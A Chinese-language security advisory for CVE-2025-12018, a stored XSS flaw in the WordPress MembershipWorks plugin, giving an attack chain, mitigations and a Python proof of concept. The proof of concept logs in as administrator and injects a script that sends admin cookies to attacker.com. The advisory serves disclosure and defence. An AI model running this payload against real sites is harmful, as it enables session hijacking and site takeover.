IPBUF安全漏洞报告
English
CVE-2025-12018 CVSS 4.4 中危

CVE-2025-12018 WordPress MembershipWorks插件存储型XSS漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-12018
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
MembershipWorks – Membership, Events & Directory (memberfindme)

相关标签

CVE-2025-12018WordPress插件漏洞存储型XSSMembershipWorks跨站脚本攻击CWE-79WordPress安全管理员权限漏洞

漏洞概述

MembershipWorks是WordPress的一个会员、活动和目录管理插件。该插件在6.14及之前的所有版本中存在存储型跨站脚本(XSS)漏洞,根源在于管理后台设置页面缺乏足够的输入清理和输出转义。攻击者利用此漏洞可在管理员后台设置中注入恶意JavaScript代码,这些代码会被永久存储在数据库中。当其他管理员或用户访问受影响的设置页面或相关页面时,恶意脚本将自动执行,可能导致会话劫持、敏感信息窃取或管理员账户被完全控制。此漏洞的利用条件较为特殊,仅影响多站点安装或已禁用unfiltered_html功能的WordPress站点,且需要具有管理员级别或更高权限的认证用户。

技术细节

该漏洞位于插件的admin settings功能模块中,具体在memberfindme.php文件的第103行和第437行附近。问题代码未能对用户输入的管理设置参数进行适当的HTML转义处理。攻击者以管理员身份登录后,可在插件设置页面的特定字段(如会员字段名称、活动配置等)中插入恶意JavaScript或HTML代码。由于插件直接将该输入存储到数据库且在输出时未进行escape转义,恶意代码会被浏览器解析执行。攻击者可利用此漏洞窃取管理员cookie、创建新的恶意管理员账户或修改网站内容。该漏洞属于CWE-79(跨站脚本)类别,CVSS 3.1向量为AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N,攻击复杂度高但影响范围广泛。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本,确认安装了MembershipWorks插件且版本小于等于6.14
STEP 2
账户获取
攻击者通过钓鱼、密码爆破或其他方式获取目标WordPress站点的管理员账户凭据
STEP 3
恶意载荷注入
以管理员身份登录后台,访问插件设置页面,在未充分过滤的输入字段中注入包含恶意JavaScript的XSS载荷
STEP 4
载荷存储
恶意脚本随表单数据被存储到数据库中,由于插件输出时未进行HTML转义,载荷被永久保存
STEP 5
触发执行
当其他管理员或用户访问包含该设置内容的页面时,浏览器解析并执行注入的恶意JavaScript代码
STEP 6
攻击完成
恶意脚本可窃取会话Cookie、修改网站内容或进一步提权,最终实现对网站的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12018 Stored XSS PoC # Target: WordPress MembershipWorks plugin <= 6.14 # Author: [email protected] import requests import sys from urllib.parse import urljoin def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS in MembershipWorks admin settings Requires administrator privileges """ session = requests.Session() # Step 1: Login as administrator login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/admin.php?page=memberfindme', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Step 2: Inject malicious XSS payload in plugin settings settings_url = urljoin(target_url, '/wp-admin/admin.php?page=memberfindme_settings') # XSS payload - steals admin cookies xss_payload = '<script>\n' xss_payload += 'fetch("https://attacker.com/log?c="+document.cookie);\n' xss_payload += '</script>' settings_data = { 'membership_name': xss_payload, 'submit_settings': 'Save Changes' } resp = session.post(settings_url, data=settings_data) if 'Settings saved' in resp.text or resp.status_code == 200: print('[+] XSS payload injected successfully') print('[+] Payload will execute when admin accesses settings page') print('[+] Victim cookies sent to: https://attacker.com/log') return True else: print('[-] Injection failed') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

影响范围

MembershipWorks (memberfindme) <= 6.14

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 临时禁用MembershipWorks插件,直到完成安全更新;2) 审查所有管理员账户,确认为授权用户;3) 启用WordPress的安全日志监控可疑活动;4) 对管理员操作启用双因素认证;5) 在WAF或CDN层添加XSS过滤规则。需要注意的是,该漏洞在单站点且启用unfiltered_html的默认配置下不可利用,但多站点安装必须立即修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表